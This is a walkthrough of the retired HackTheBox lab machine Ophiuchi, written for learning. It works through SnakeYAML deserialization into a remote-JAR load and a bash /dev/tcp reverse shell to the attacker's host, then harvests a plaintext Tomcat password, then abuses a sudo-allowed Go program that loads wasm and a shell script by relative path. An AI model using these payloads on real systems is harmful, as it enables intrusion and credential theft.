HTB: Ophiuchi
Posted on 05 Jul 2021 in security • 5 min read
This is a writeup about a retired HacktheBox machine: Ophiuchi created by felamos and publish on February 13, 2021. This box is classified as a medium machine. The user part involves YAML and deserialization as the root part involves webassembly binaries.
User
Reco
We start with an nmap scan. Only ports 22 (SSH) and 8080 (HTTP) are open.
# Nmap 7.91 scan initiated Sat Feb 20 04:02:47 2021 as: nmap -oN notes -sS -p- 10.129.98.255
Nmap scan report for 10.129.98.255
Host is up (0.014s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
# Nmap done at Sat Feb 20 04:03:22 2021 -- 1 IP address (1 host up) scanned in 35.41 seconds
Web
The web page is an Online YAML Parser. We quickly guess that this would be about YAML deserialization. A few "random" data generate a Java stack trace indicating the use of the Snake YAML library.
A Google search lead us to a medium article about exploiting YAML deserialization
We run an python http server and use the following payload
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.16:8000"]
]]
]
Despite the "error" message on the website we still got a hit on our Python HTTP server.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:25:51] "GET / HTTP/1.1" 200 -
A link in the medium article lead us to a github repository for a YAML payloads generator.
We change the paylaod to Runtime.getRuntime().exec("wget http://10.10.14.16:8000/boom");
and send it to the YAML parser
!!javax.script.ScriptEngineManager [
!!java.net.URLClassLoader [[
!!java.net.URL ["http://10.10.14.16:8000/yaml-payload.jar"]
]]
]
We got an other Java error "java.lang.UnsupportedClassVersionError: artsploit/AwesomeScriptEngineFactory has been compiled by a more recent version of the Java Runtime (class file version 60.0), this version of the Java Runtime only recognizes class file versions up to 55.0".
On my Kali Linux I am using openjdk
with Java 16 so our javac
produced a
newer version of the code.
/usr/lib/jvm/java-16-openjdk-amd64/bin/javac
We just install Java 11 using sudo apt-get install openjdk-11-jdk
and run the specific Java 11 compiler. Then we got a hit with our "second" payload
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ /usr/lib/jvm/java-11-openjdk-amd64/bin/javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1620) (out= 680)(deflated 58%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1493) (out= 404)(deflated 72%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
kali@kali:~/pown/htb_Ophiuchi/yaml-payload$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.129.98.255 - - [20/Feb/2021 04:47:15] code 404, message File not found
10.129.98.255 - - [20/Feb/2021 04:47:15] "GET /boom HTTP/1.1" 404 -
We modify it to use the reverse shell Java payload from Payload all the things and catch the new exception in the Java code as shown in the code block below.
public AwesomeScriptEngineFactory() {
try {
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[] { "/bin/bash", "-c", "exec 5<>/dev/tcp/10.10.14.16/4242;cat <&5 | while read line; do $line 2>&5 >&5; done" });
p.waitFor();
} catch (IOException | InterruptedException e) {
e.printStackTrace();
}
}
Running it give us a reverse shell as the tomcat
user.
$ nc -l -p 4242
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
Stored credential
We start enumerating and found out that the user is probably admin
.
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
tomcat:x:1001:1001::/opt/tomcat:/bin/false
admin:x:1000:1000:,,,:/home/admin:/bin/bash
When looking at the directories, we found a conf
folder containing the
tomcat-users.xml
file. This file classically store the user that can access
the tomcat manager panel (which is not exposed on this box).
ls -alR conf
conf:
total 240
drwxr-x--- 2 root tomcat 4096 Dec 28 00:37 .
drwxr-xr-x 9 root tomcat 4096 Oct 11 14:07 ..
-rw-r----- 1 root tomcat 12873 Sep 10 08:25 catalina.policy
-rw-r----- 1 root tomcat 7262 Sep 10 08:25 catalina.properties
-rw-r----- 1 root tomcat 1400 Sep 10 08:25 context.xml
-rw-r----- 1 root tomcat 1149 Sep 10 08:25 jaspic-providers.xml
-rw-r----- 1 root tomcat 2313 Sep 10 08:25 jaspic-providers.xsd
-rw-r----- 1 root tomcat 4144 Sep 10 08:25 logging.properties
-rw-r----- 1 root tomcat 7588 Sep 10 08:25 server.xml
-rw-r----- 1 root tomcat 2234 Dec 28 00:37 tomcat-users.xml
-rw-r----- 1 root tomcat 2558 Sep 10 08:25 tomcat-users.xsd
-rw-r----- 1 root tomcat 172359 Sep 10 08:25 web.xml
We look at the file and found a few default username and passwords and also the
admin
user with the whythereisalimit
password.
cat conf/tomcat*
<?xml version="1.0" encoding="UTF-8"?>
<!--
<SNIP>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
SNIP>
<!--
<role rolename="tomcat"/>
<role rolename="role1"/>
<user username="tomcat" password="<must-be-changed>" roles="tomcat"/>
<user username="both" password="<must-be-changed>" roles="tomcat,role1"/>
<user username="role1" password="<must-be-changed>" roles="role1"/>
-->
<SNIP>
We connect to the box with SSH using this user and got the first flag.
kali@kali:~$ #whythereisalimit
kali@kali:~$ ssh admin@10.129.98.255
admin@10.129.98.255's password:
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-51-generic x86_64)
<SNIP>
admin@ophiuchi:~$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
admin@ophiuchi:~$ cat user.txt
6aa83180b3e469e3f5de725c639a601b
Root
We enumerate the box and quickly found out that we can execute a specific go program as root without password.
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
The content of the "index.go" file is the following:
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Basically the program read a webassemply file main.wasm
using a relative path
and if the file map "info" return 1
it run a bash script deploy.sh
also
using a relative path. We "just" need to create a new main.wasm
that return
1
and a bash script that give us the root flag.
We download main.wasm and "decompile" it using wabt and its online wasm2wat "decompiler"
Using wat2wasm We just change the fourth line (i32.const 0))
to (i32.const 1))
and download the resulting wasm file.
We upload it on the box in our home folder and create a deploy.sh bash file to display the root flag:
kali@kali:~/pown/htb_Ophiuchi$ scp test.wasm admin@10.129.98.255:main.wasm
admin@10.129.98.255's password:
test.wasm
admin@ophiuchi:~$ echo 'cat /root/root.txt' > deploy.sh
admin@ophiuchi:~$ chmod +x deploy.sh
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
d153e100b32fe456e149a86ef6468ac6
Wrapping up
A very interesting box that I would recommend to beginners as it is mostly straightforward with no rabbit hole.